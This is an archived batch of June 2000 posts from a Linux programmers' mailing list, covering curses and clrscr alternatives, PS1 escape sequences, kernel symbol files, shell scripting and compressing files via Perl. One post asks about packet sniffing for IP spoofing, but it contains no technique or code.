Mehta To: linux-india-programmers@lists.linux-india.org Subject: Re: TC++ and GNU C++ Message-ID: <20000619143337.B757@anand> Mail-Followup-To: linux-india-programmers@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20000619044440.37883.qmail@hotmail.com>; from ad_it@hotmail.com on Mon, Jun 19, 2000 at 10:14:39AM +0200 X-Archive-Number: 200006/153 hi adityan, > Is there any header file similar to conio.h in GNU C++? Is there at least > something similar to clrscr and getch commands? > I think getch function calls are there. Abt the clrscr() call, ehy don't u try out instead system("clear").. It does the same thing. but the code will be bound to Linux..... -- Atul Mehta | atulm@md4.vsnl.net.in APL is a write-only language. I can write programs in APL, but I can't read any of them. -- Roy Keir From linux-india-programmers-owner@lists.linux-india.org Mon Jun 19 04:09:10 2000 Received: from matrix.reccal.ernet.in (matrix.reccal.ernet.in [202.41.105.50]) by www.aunet.org (Postfix) with ESMTP id A188F381CE for ; Mon, 19 Jun 2000 04:06:33 -0700 (PDT) Received: (from linac@localhost) by matrix.reccal.ernet.in (8.8.7/8.8.7) id MAA21691; Mon, 19 Jun 2000 12:35:10 +0530 Date: Mon, 19 Jun 2000 12:35:10 +0530 (IST) From: Linac Is Not A Club To: Linux India Programmers Subject: Escape sequences.... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/154 Does any one out there know what the escape sequence to execute a command on a terminal is ? I know that it's pkey something but I don't know how to actually use it. If any one does, do let me know. thanx in advance. ------------------------------------------------------------------------ Trifles make perfection, and perfection is no trifle. -- Michelangelo From linux-india-programmers-owner@lists.linux-india.org Mon Jun 19 04:54:09 2000 Received: from bom4.vsnl.net.in (bom4.vsnl.net.in [202.54.4.116]) by www.aunet.org (Postfix) with ESMTP id 09C313805B for ; Mon, 19 Jun 2000 04:54:00 -0700 (PDT) Received: from alice.bombay.retortsoft.com (unknown [203.197.60.30]) by bom4.vsnl.net.in (Postfix) with ESMTP id 2C6A62076 for ; Mon, 19 Jun 2000 17:26:57 +0500 (GMT+0500) Received: from jediland.bombay.retortsoft.com (jediland.bombay.retortsoft.com [192.168.100.33]) by alice.bombay.retortsoft.com (8.9.3/8.9.3) with ESMTP id RAA22296 for ; Mon, 19 Jun 2000 17:29:49 +0530 Received: (from binand@localhost) by jediland.bombay.retortsoft.com (8.9.3/8.9.3) id RAA28933 for linux-india-programmers@lists.linux-india.org; Mon, 19 Jun 2000 17:29:16 +0530 Date: Mon, 19 Jun 2000 17:29:16 +0530 From: "Binand Raj S." To: linux-india-programmers@lists.linux-india.org Subject: Re: TC++ and GNU C++ Message-ID: <20000619172915.F22955@bombay.retortsoft.com> Mail-Followup-To: linux-india-programmers@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20000619143337.B757@anand>; from atulm@md4.vsnl.net.in on Mon, Jun 19, 2000 at 02:33:37PM +0530 X-Operating-System: Linux 2.2.12-20 X-Editor: VIM - Vi IMproved 5.7a BETA X-Organization: Retort Software Pvt. Ltd. X-Surviving-On: Oxygen, Coffee and Unix X-Archive-Number: 200006/155 Atul Mehta forced the electrons to say: > I think getch function calls are there. Abt the clrscr() call, ehy > don't u try out instead system("clear").. It does the same thing. but the > code will be bound to Linux..... well, system ("clear") should be portable across all unices. getch() and clear() exist in the curses library. man ncurses on linux. Binand -- The prompt for all occasions: export PS1="F:\$(pwd | tr '/[a-z]' '\134\134[A-Z]')> " --------------- Binand Raj S. (binand@bombay.retortsoft.com) From linux-india-programmers-owner@lists.linux-india.org Mon Jun 19 09:47:35 2000 Received: from mobile.nikhilwiz.net (unknown [202.63.101.61]) by www.aunet.org (Postfix) with ESMTP id 8E1F938063 for ; Mon, 19 Jun 2000 09:47:09 -0700 (PDT) Received: (from root@localhost) by mobile.nikhilwiz.net (8.9.3/8.9.3) id WAA03473 for linux-india-programmers@lists.linux-india.org; Mon, 19 Jun 2000 22:08:57 +0530 Date: Mon, 19 Jun 2000 22:08:57 +0530 From: nikhilwiz@yahoo.com Message-Id: <200006191638.WAA03473@mobile.nikhilwiz.net> Subject: pcmcia_cs X-Archive-Number: 200006/156 2.4 has pcmcia-cs integrated into the kernel. from what i follow, the actual allocation of resources is left to the cardmgr daemon. I am trying to netboot with an NFS-root my laptop, with my main box acting as a BOOTP and NFS server. I _could_ make an initrd, to load up cardmgr, and then mount my / over NFS, but is there anyway i can tell the kernel pcmcia to initialize my card, and use the kernel's IP-Config? i'm stuck cuz my net card is a PCMCIA card. i cant manage to figure out from the source, how to send any "config_opts" to the driver, thru the kernel command line. Plz. enlighten me on this if anyone knows... Nikhil. From linux-india-programmers-owner@lists.linux-india.org Tue Jun 20 00:34:59 2000 Received: from sce.ac.in (unknown [202.54.71.41]) by www.aunet.org (Postfix) with ESMTP id B486438051 for ; Tue, 20 Jun 2000 00:34:37 -0700 (PDT) Received: from [202.54.71.34] (account ) by sce.ac.in (CommuniGate Pro WebUser 3.1) with HTTP id 1807659 for ; Tue, 20 Jun 2000 13:12:55 +0530 From: "Linux List " Subject: Re: Escape sequences.... To: linux-india-programmers@lists.linux-india.org X-Mailer: CommuniGate Pro Web Mailer v.3.1 Date: Tue, 20 Jun 2000 13:12:55 +0530 Message-ID: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Archive-Number: 200006/157 I have played with that thing on various occasions. With this you can change the color of the font,etc. Say if you want to display the current working directory on the top of the console.You can use something like this. PS1=^[[P^[[0;0H^[[K^[[01;37;43mPWD:^[[01;33;41m$(pwd)^[[u/$ I dont remember that exactly. I got it from one of those old Gazette.The explanation is preety neat and simple,i will do that if you want. vinu On Mon, 19 Jun 2000 12:35:10 +0530 (IST) Linac Is Not A Club wrote: > *This message was transferred with a trial version of > CommuniGate(tm) Pro* > > Does any one out there know what the escape sequence to > execute a command > on a terminal is ? I know that it's pkey something but I > don't know how to > actually use it. If any one does, do let me know. > > thanx in advance. > > ------------------------------------------------------------------------ > Trifles make perfection, and perfection is no trifle. > -- Michelangelo > > > ----------------------------------------------------------------------- > For information on this and other Linux India mailing > lists check out > http://lists.linux-india.org/ From linux-india-programmers-owner@lists.linux-india.org Tue Jun 20 01:21:29 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id A05DE3805D for ; Tue, 20 Jun 2000 01:21:02 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id NAA21852 for ; Tue, 20 Jun 2000 13:47:15 +0500 (GMT) Received: from wipro.tcpn.com ([172.31.41.11]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id NAA15617 for ; Tue, 20 Jun 2000 13:49:36 +0500 (GMT) Received: from saveri.wipro.tcpn.com (syedk@saveri.wipro.tcpn.com [172.31.41.28]) by wipro.tcpn.com (8.9.3/8.9.3) with SMTP id NAA26890 for ; Tue, 20 Jun 2000 13:54:12 +0530 (IST) Date: Tue, 20 Jun 2000 13:55:15 +0530 (IST) From: Syed Khaleelulla To: linux-india-programmers@lists.linux-india.org Subject: Diffrencess between ksyms & System.map files Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/158 Hello All, I wanted to know the difference between the ksyms & System.map files. I know that the ksyms file is the file containing kernel symbol tables. And if we add a new module into the kernel the ksyms file is altered by including the functions of the new module that can be used along with the address. I wanted to know what is the System.map file contains, and also more about ksyms file. If any one of you can [please] send a pointer to some link it will be very helpfull. -Thanks, Syed Khaleelulla. *************************************************************************** Syed Khaleelulla, 26, Hosur Main Road, Bommanhalli, Software Engineer, Bangalore - 560068, India. Wipro Global R&D, Tel: 91-80-5722293/6 Extn- 2203. www.wipro.com. The World's First SEI CMM Level 5 Software Services Company. *************************************************************************** From linux-india-programmers-owner@lists.linux-india.org Tue Jun 20 08:59:35 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id B8AFB38053 for ; Tue, 20 Jun 2000 08:59:30 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id IAA25978 for linux-india-programmers@lists.linux-india.org; Tue, 20 Jun 2000 08:58:38 -0700 Date: Tue, 20 Jun 2000 08:58:38 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: Diffrencess between ksyms & System.map files Message-ID: <20000620085838.A25948@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from Syed.Khaleelulla@wipro.com on Tue, Jun 20, 2000 at 01:55:15PM +0530 X-Archive-Number: 200006/159 On Tue, Jun 20, 2000 at 01:55:15PM +0530, Syed Khaleelulla wrote: > Hello All, > I wanted to know the difference between the ksyms & System.map files. > > I know that the ksyms file is the file containing kernel symbol tables. > And if we add a new module into the kernel the ksyms file is altered > by including the functions of the new module that can be used along with > the address. /proc/ksyms is dynamically generated. System.map is generated at build time by running "nm" on the kernel image. -Arun From linux-india-programmers-owner@lists.linux-india.org Tue Jun 20 22:45:28 2000 Received: from sce.ac.in (unknown [202.54.71.41]) by www.aunet.org (Postfix) with ESMTP id 64EE13819B for ; Tue, 20 Jun 2000 22:45:18 -0700 (PDT) Received: from [202.54.71.34] (account ) by sce.ac.in (CommuniGate Pro WebUser 3.1) with HTTP id 1808836 for ; Wed, 21 Jun 2000 11:23:45 +0530 From: "Linux List " Subject: Re: Escape sequences.... To: linux-india-programmers@lists.linux-india.org X-Mailer: CommuniGate Pro Web Mailer v.3.1 Date: Wed, 21 Jun 2000 11:23:45 +0530 Message-ID: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Archive-Number: 200006/160 hi There was a slight mistake in what i wrote yesterday PS1=^[[s the rest of the thing is same. I will tell you what it does.^[[ is an escape sequence which is got by pressing ^v+escape button. ^[[s saves the current cursor position ^[[0;0H positions the cursor in the top of the screen. ^[[K clears the line ^[[01;37;43mPWD: displays the PWD: at top of the screen The parameter 01 represents bold 37 represents some color(background) 43 represents " " (foreground) More on this can be found on /etc/DIR_COLORS ^[[01;33;41m$(pwd) represents the current working directory(pwd) with 33 and 41 as bg and fg color. and the last ^[[u restores the position to the current location \$ displays a prompt. Well this works very well ,but has some small problems. The escape character is to postion the cursors and it controls the position. U can do the same thing using c.U have to include and initialize the terminal,etc. Correct me if i am wrong. vinu On Tue, 20 Jun 2000 13:12:55 +0530 "Linux List " wrote: > *This message was transferred with a trial version of > CommuniGate(tm) Pro* > I have played with that thing on various occasions. > With this you can change the color of the font,etc. > Say if you want to display the current working directory > on the top of the console.You can use something like > this. > PS1=^[[P^[[0;0H^[[K^[[01;37;43mPWD:^[[01;33;41m$(pwd)^[[u/$ > I dont remember that exactly. > I got it from one of those old Gazette.The explanation > is preety neat and simple,i will do that if you want. > > vinu > > > > On Mon, 19 Jun 2000 12:35:10 +0530 (IST) > Linac Is Not A Club > wrote: > > *This message was transferred with a trial version of > > CommuniGate(tm) Pro* > > > > Does any one out there know what the escape sequence to > > execute a command > > on a terminal is ? I know that it's pkey something but > I > > don't know how to > > actually use it. If any one does, do let me know. > > > > thanx in advance. > > > > ------------------------------------------------------------------------ > > Trifles make perfection, and perfection is no trifle. > > -- Michelangelo > > > > > > ----------------------------------------------------------------------- > > For information on this and other Linux India mailing > > lists check out > > http://lists.linux-india.org/ > > > ----------------------------------------------------------------------- > LIP is all for free speech. But it was created for a > purpose - to help > people discuss technical programming related issues about > Linux. If > your messages are counterproductive to this purpose, your > privileges to > submit messages can and will be revoked. From linux-india-programmers-owner@lists.linux-india.org Tue Jun 20 22:54:51 2000 Received: from svrhydmail.hydbad.tcs.co.in (unknown [196.12.38.40]) by www.aunet.org (Postfix) with SMTP id 3197238056 for ; Tue, 20 Jun 2000 22:54:42 -0700 (PDT) Received: from hydbad.tcs.co.in ([172.19.8.111]) by svrhydmail.hydbad.tcs.co.in (Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) with SMTP id 65256905.00209E81; Wed, 21 Jun 2000 11:26:17 +0530 Message-ID: <394FAFA5.211679D5@hydbad.tcs.co.in> Date: Tue, 20 Jun 2000 23:23:41 +0530 From: "Ravi Prakash B.V." X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20smp i686) X-Accept-Language: en MIME-Version: 1.0 To: Linux India Programmers Subject: telnet is not working... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/161 hi friends, from telnet session, Its not login into the system. Login and passwd prompt are appearing but unable to login into the system. All services are running properly. Through "su loginname", its working properly... can u please help in this..... Thanks in advance Ravi Prakash From linux-india-programmers-owner@lists.linux-india.org Tue Jun 20 23:06:56 2000 Received: from svrhydmail.hydbad.tcs.co.in (unknown [196.12.38.40]) by www.aunet.org (Postfix) with SMTP id 998E43808C for ; Tue, 20 Jun 2000 23:06:48 -0700 (PDT) Received: from hydbad.tcs.co.in ([172.19.8.111]) by svrhydmail.hydbad.tcs.co.in (Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) with SMTP id 65256905.0021BCD8; Wed, 21 Jun 2000 11:38:30 +0530 Message-ID: <394FB281.9709E0D3@hydbad.tcs.co.in> Date: Tue, 20 Jun 2000 23:35:53 +0530 From: "Ravi Prakash B.V." X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20smp i686) X-Accept-Language: en MIME-Version: 1.0 To: Linux India Programmers Subject: telnet problem is rectified... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/162 hi friends, telnet problem is rectified... Its a internal problem here.... Thanks Ravi Prakash From linux-india-programmers-owner@lists.linux-india.org Thu Jun 22 04:19:13 2000 Received: from maze.mcdecom.net (maze.mcdecom.net [202.170.128.34]) by www.aunet.org (Postfix) with ESMTP id DAECF38058 for ; Thu, 22 Jun 2000 04:18:29 -0700 (PDT) Received: from mcdmhp.mcdecom.net by maze.mcdecom.net with ESMTP for linux-india-programmers@lists.linux-india.org; Thu, 22 Jun 2000 16:49:58 -0500 Received: from [172.16.2.58] by mcdmhp.mcdecom.net with ESMTP for linux-india-programmers@lists.linux-india.org; Thu, 22 Jun 2000 16:45:52 +0530 Received: from io26 [172.25.24.22] by ltitlblr.com [172.25.24.190] with SMTP (MDaemon.v2.83.R) for ; Thu, 22 Jun 2000 16:45:51 +0530 Message-Id: <006801bfdc2a$45ef48b0$161819ac@io26> From: "Mahesh" To: Subject: ip spoofing Date: Thu, 22 Jun 2000 19:14:30 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MDaemon-Deliver-To: linux-india-programmers@lists.linux-india.org X-Return-Path: maheshv@ltitlblr.com X-Archive-Number: 200006/163 Hello all, Does anyone know how do we capture packets of a network ( subnet ) having a CISCO switch ( hub ) conected for the network... I tried writing a small program which put the linux machine into promiscous mode but it only captures packets that are intended for it. I need this as i am trying to implement ip spoofing for a LAN I implemented TCP and UDP spoofing it for server running on the same machine....(Linux) I also tried running a traditional sniffer like tcpdump and snoop ( solaris ). The snoop program is able to capture all packets in the same network as the linux machine Any pointers or some form of source code would help. Thanx in advance. - Mahesh From linux-india-programmers-owner@lists.linux-india.org Thu Jun 22 05:40:57 2000 Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202]) by www.aunet.org (Postfix) with ESMTP id 8E0B73802E for ; Thu, 22 Jun 2000 05:40:52 -0700 (PDT) Received: from red.india.hp.com (red.india.hp.com [15.10.43.6]) by atlrel2.hp.com (Postfix) with ESMTP id 8A045264B; Thu, 22 Jun 2000 08:40:49 -0400 (EDT) Received: from india.hp.com (sachin@localhost [127.0.0.1]) by red.india.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.8.6 SMKit7.02) id SAA08795; Thu, 22 Jun 2000 18:01:14 +0530 (IST) Message-ID: <39520710.BD649913@india.hp.com> Date: Thu, 22 Jun 2000 18:01:12 +0530 From: Sachin Garg Organization: Hewlett Packard ISO X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712) X-Accept-Language: en MIME-Version: 1.0 To: Linux-India-Programmers Cc: lakshmi@cair.res.in Subject: Shell Scripting (Was Re: [LIH] at problem) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/164 "Lakshmi B. G." wrote: > What do you mean by /bin/sh? The shell which normally resides in the /bin directory. > I have created a small file called l.txt which has simple 2 statements > > /bin/sh > cd /usr/local To do what u want to do do: #!/bin/sh cd /usr/local This says that one should use /bin/sh to interpret the remaining part of the script. Refer to Stephen Prata's "Advanced Unix - A Programmer's Guide" for lots of useful stuff on shell programming. Cheap and good book. sachin From linux-india-programmers-owner@lists.linux-india.org Thu Jun 22 16:35:38 2000 Received: from mail.iitk.ac.in (unknown [210.212.54.10]) by www.aunet.org (Postfix) with ESMTP id 4825638050 for ; Thu, 22 Jun 2000 16:35:30 -0700 (PDT) Received: from qasid.cc.iitk.ac.in (qasid.cc.iitk.ac.in [172.31.1.16]) by mail.iitk.ac.in (8.9.2/8.9.2) with ESMTP id TAA18118; Thu, 22 Jun 2000 19:56:52 +0530 (IST) Received: from ajayd (IDENT:ajayd@[172.31.80.32]) by qasid.cc.iitk.ac.in (8.9.2/8.9.2) with ESMTP id TAA04271; Thu, 22 Jun 2000 19:51:15 +0530 (IST) Date: Thu, 22 Jun 2000 19:54:42 +0530 (IST) From: ajayd@iitk.ac.in To: Linux-India-Programmers Cc: lakshmi@cair.res.in Subject: Re: Shell Scripting (Was Re: [LIH] at problem) In-Reply-To: <39520710.BD649913@india.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/165 On Thu, 22 Jun 2000, Sachin Garg wrote: > "Lakshmi B. G." wrote: > > cd /usr/local > > To do what u want to do do: > > #!/bin/sh > cd /usr/local > > This says that one should use /bin/sh to interpret the remaining part of > the script. IMO you won;t be able to do what you want to do by executing this script. When we execute a file it is run in a new shell and hence whenn you finish you would be where you are.ie if you write the above command in a file say l.txt make it executable and run it then it won;t change your current directory. The only way i know is running the script in the current shell using $ cat >l.txt #!/bin/sh # works without this line also cd /usr/local ^d #Cntl-D $ chmod 755 l.txt $ . l.txt Using the . "command" ( I don't think its a command) tells the shell to run in in the current shell and not to fork a new shell. In this way one can change the current shell. But IMO(In my Opinion) we can't use the at command to do this because it is not something the at is meant for. I think it is meant to do something at a specified time when we don;t know if we would be "online". Hopefully we can't ask at to run the command in the current shell. Further enlightment about this is solicited. Bye and Enjoy............... Ajay kumar Dwivedi From linux-india-programmers-owner@lists.linux-india.org Thu Jun 22 19:19:05 2000 Received: from giasbgc.vsnl.net.in (giasbgc.vsnl.net.in [202.54.12.163]) by www.aunet.org (Postfix) with ESMTP id 2F79638050 for ; Thu, 22 Jun 2000 08:19:03 -0700 (PDT) Received: from cranks ([203.197.183.16]) by giasbgc.vsnl.net.in (8.9.3/8.9.3) with SMTP id UAA00860 for ; Thu, 22 Jun 2000 20:39:15 -0500 (GMT) Message-ID: <019501bfdc5e$dc07d2c0$10b7c5cb@cranks> Reply-To: "Chetan Gopal Kashinath" From: "Chetan Gopal Kashinath" To: "LIP" Subject: perl and apache Date: Thu, 22 Jun 2000 21:00:55 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-Archive-Number: 200006/166 hi, this is a query that i am posting for a friend. he is creating a zip file through perl on apache server on linux. here is the code The code will be like this: push ( @list, "gzip"); push ( @list, "zipfile.zip"); push ( @list, "*.*"); exec "@list"; he says that the file is not being created. is such a thing allowed?? if it is then where is the file created. if the entire approach is wrong, how to tackle the prob thank you - chetu From linux-india-programmers-owner@lists.linux-india.org Thu Jun 22 21:47:45 2000 Received: from shardagate.mahindrabt.com (unknown [206.102.1.162]) by www.aunet.org (Postfix) with ESMTP id B34893808D for ; Thu, 22 Jun 2000 21:47:37 -0700 (PDT) Received: (from uucp@localhost) by shardagate.mahindrabt.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id KAA16834 for ; Fri, 23 Jun 2000 10:17:35 +0530 Received: from UNKNOWN(10.4.0.15), claiming to be "intranet.pune.mahindrabt.com" via SMTP by shardagate, id smtpduMLshJ; Fri Jun 23 10:17:34 2000 Received: from [10.5.2.167] (IDENT:rajeevj@[10.5.2.167]) by intranet.pune.mahindrabt.com (8.9.3/8.9.3) with ESMTP id KAA25776 for ; Fri, 23 Jun 2000 10:16:06 +0530 Date: Fri, 23 Jun 2000 10:19:11 +0530 (IST) From: Rajeev Jha X-Sender: rajeevj@localhost.localdomain To: Linux-India-Programmers Subject: Re: Shell Scripting (Was Re: [LIH] at problem) In-Reply-To: <39520710.BD649913@india.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/167 hi even with the bang , it is not working on my machine , though i have already sent the script am using . you wrote >>To do what u want to do do: you wrote >> you wrote >> #!/bin/sh you wrote >> cd /usr/local you wrote >> we bloody cool , we bunk school we lurk late,we strike straight we sing sin , we drink gin we jazz june , we die soon ___________________________________________________________ Rajeev Jha Email : rajeevj@mahindrabt.com (20) 5424301 -1126 Sharda centre _____________________________________________________________ From linux-india-programmers-owner@lists.linux-india.org Thu Jun 22 22:12:32 2000 Received: from shardagate.mahindrabt.com (unknown [206.102.1.162]) by www.aunet.org (Postfix) with ESMTP id C978C38064 for ; Thu, 22 Jun 2000 22:12:20 -0700 (PDT) Received: (from uucp@localhost) by shardagate.mahindrabt.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id KAA23038 for ; Fri, 23 Jun 2000 10:42:18 +0530 Received: from UNKNOWN(10.4.0.15), claiming to be "intranet.pune.mahindrabt.com" via SMTP by shardagate, id smtpdMf5pVJ; Fri Jun 23 10:42:15 2000 Received: from [10.5.2.167] (IDENT:rajeevj@[10.5.2.167]) by intranet.pune.mahindrabt.com (8.9.3/8.9.3) with ESMTP id KAA07998 for ; Fri, 23 Jun 2000 10:40:47 +0530 Date: Fri, 23 Jun 2000 10:43:52 +0530 (IST) From: Rajeev Jha X-Sender: rajeevj@localhost.localdomain To: Linux-India-Programmers Subject: Re: Shell Scripting (Was Re: [LIH] at problem) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/168 hi list you wrote >> IMO you won;t be able to do what you want to do by executing this you wrote >>script. When we execute a file it is run in a new shell and hence whenn you wrote >>you finish you would be where you are. yes , but it changes to that directory, that is why it returns a status of 0, can be verified by : echo ${DIR_TO_CHANGE} cd ${DIR_TO_CHANGE} ls -l | tee list and it outputs the content of DIR_TO_CHANGE you wrote >> you wrote >> $ chmod 755 l.txt you wrote >> $ . l.txt you wrote >> it is not 'executed ' but interpreted by the shell line by line, that's why with . u don't even need a +x permission, just +r . we bloody cool , we bunk school we lurk late,we strike straight we sing sin , we drink gin we jazz june , we die soon ___________________________________________________________ Rajeev Jha Email : rajeevj@mahindrabt.com (20) 5424301 -1126 Sharda centre _____________________________________________________________ From linux-india-programmers-owner@lists.linux-india.org Thu Jun 22 22:27:29 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id CE06638090 for ; Thu, 22 Jun 2000 22:27:20 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id KAA00825; Fri, 23 Jun 2000 10:53:22 +0500 (GMT) Received: from wipro.tcpn.com ([172.31.41.11]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id KAA19683; Fri, 23 Jun 2000 10:55:44 +0500 (GMT) Received: from saveri.wipro.tcpn.com (syedk@saveri.wipro.tcpn.com [172.31.41.28]) by wipro.tcpn.com (8.9.3/8.9.3) with SMTP id LAA17596; Fri, 23 Jun 2000 11:00:17 +0530 (IST) Date: Fri, 23 Jun 2000 11:00:55 +0530 (IST) From: Syed Khaleelulla Reply-To: Syed Khaleelulla To: linux-net@vger.rutgers.edu, linux-india-programmers@lists.linux-india.org Subject: Regarding different hash tables for TCP, Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/169 Hello All, I have read that the TCP protocol in Linux maintains 2 hash tables, i. TCP_BOUND_HASH ii. TCP_LISTENING_HASH is it true? If yes, I have read that the one TCP_LISTENING_HASH table contains the pointer to the SOCK data structure which is that of the listening socket. The SOCK data structure is linked to the TCP_LISTENING_HASH table during the Listen system call. Can any one please tell me why is TCP_BOUND_HASH table used, and what it will be pointing to and when is it intialized? I request you to please reply as soon as possible. -Thanks, Syed Khaleelulla. ------------------ *************************************************************************** Syed Khaleelulla, 26, Hosur Main Road, Bommanhalli, Software Engineer, Bangalore - 560068, India. Wipro Global R&D, Tel: 91-80-5722293/6 Extn- 2203. www.wipro.com. The World's First SEI CMM Level 5 Software Services Company. *************************************************************************** From linux-india-programmers-owner@lists.linux-india.org Fri Jun 23 00:19:55 2000 Received: from svrhydmail.hydbad.tcs.co.in (unknown [196.12.38.40]) by www.aunet.org (Postfix) with SMTP id 4EB513802E for ; Fri, 23 Jun 2000 00:19:42 -0700 (PDT) Received: from hydbad.tcs.co.in ([172.19.8.216]) by svrhydmail.hydbad.tcs.co.in (Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) with SMTP id 65256907.0028665D; Fri, 23 Jun 2000 12:51:16 +0530 Message-ID: <3952668D.41922D89@hydbad.tcs.co.in> Date: Fri, 23 Jun 2000 00:48:37 +0530 From: " Ravi Prakash B.V." X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20smp i686) X-Accept-Language: en MIME-Version: 1.0 To: Chetan Gopal Kashinath , Linux India Programmers Subject: Re: perl and apache Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/170 Chetan Gopal Kashinath wrote: > hi, > > this is a query that i am posting for a friend. > > he is creating a zip file through perl on apache server on linux. > here is the code > > The code will be like this: > > > push ( @list, "gzip"); > push ( @list, "zipfile.zip"); > push ( @list, "*.*"); > > exec "@list"; > > > > he says that the file is not being created. is such a thing allowed?? if it > is then where is the file created. > > if the entire approach is wrong, how to tackle the prob > > thank you > - chetu > ----------------------------------------------------------------------- > For information on this and other Linux India mailing lists check out > http://lists.linux-india.org/ hi chetu, The notation is correct but the usage of gzip is wrong. Modified code is: < begin of file 1.pl> #!/usr/bin/perl push ( @list, "gzip"); push ( @list, "-c"); push ( @list, "*"); push ( @list, ">zipfile.gz"); exec "@list"; This code will compress all the files in the curent directory and store into zipfile.gz. when u extract/uncompress the zipfile.gz u will see only one file while contains all the files data. To extract into separate files , the code for compressing files: < begin of file conpress.pl> #!/usr/bin/perl push ( @list, "tar"); push ( @list, "zcvf"); push ( @list, "tarandzipedfile.tar.gz"); push ( @list, "*"); exec "@list"; For uncompress/extraction : < begin of file extract.pl> #!/usr/bin/perl push ( @list, "tar"); push ( @list, "zxvf"); push ( @list, "tarandzipedfile.tar.gz"); exec "@list"; I hope this will help u..... Bye Ravi Prakash B.V. From linux-india-programmers-owner@lists.linux-india.org Fri Jun 23 03:59:08 2000 Received: from alabama.innomedia.soft.net (ns.innomedia.soft.net [164.164.79.130]) by www.aunet.org (Postfix) with ESMTP id 6022438080 for ; Fri, 23 Jun 2000 03:58:59 -0700 (PDT) Received: from MUTHU ([192.168.1.155]) by alabama.innomedia.soft.net (8.9.3/8.8.7) with SMTP id QAA18570 for ; Fri, 23 Jun 2000 16:29:50 +0530 Message-ID: <00db01bfdd04$719dadf0$9b01a8c0@MUTHU> From: "Muthu" To: Subject: Html parser Date: Fri, 23 Jun 2000 16:46:14 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-Archive-Number: 200006/171 Hi to all, Any one plz tell me where do i get info about html parsing?.Thanx in advance Muthukumar From linux-india-programmers-owner@lists.linux-india.org Fri Jun 23 10:42:29 2000 Received: from md4.vsnl.net.in (md4.vsnl.net.in [202.54.6.60]) by www.aunet.org (Postfix) with ESMTP id 9E2CC38069 for ; Fri, 23 Jun 2000 10:42:21 -0700 (PDT) Received: from localhost.localdomain ([61.1.228.227]) by md4.vsnl.net.in (8.9.3/8.9.3) with ESMTP id XAA23712 for ; Fri, 23 Jun 2000 23:17:43 +0530 (IST) Date: Fri, 23 Jun 2000 21:23:38 +0530 From: Atul Mehta To: linux-india-programmers@lists.linux-india.org Subject: Re: Html parser Message-ID: <20000623212338.E1047@anand> Mail-Followup-To: linux-india-programmers@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00db01bfdd04$719dadf0$9b01a8c0@MUTHU>; from muthu@innomedia.soft.net on Fri, Jun 23, 2000 at 04:46:14PM +0530 X-Archive-Number: 200006/172 Hi, Java has classes to help you out in HTML parsing. These classes are in the javax.swing.text.html.parser.. These should help, I guess. > Any one plz tell me where do i get info about html parsing?.Thanx in > advance > > Muthukumar > > -- Atul Mehta | atulm@md4.vsnl.net.in What we anticipate seldom 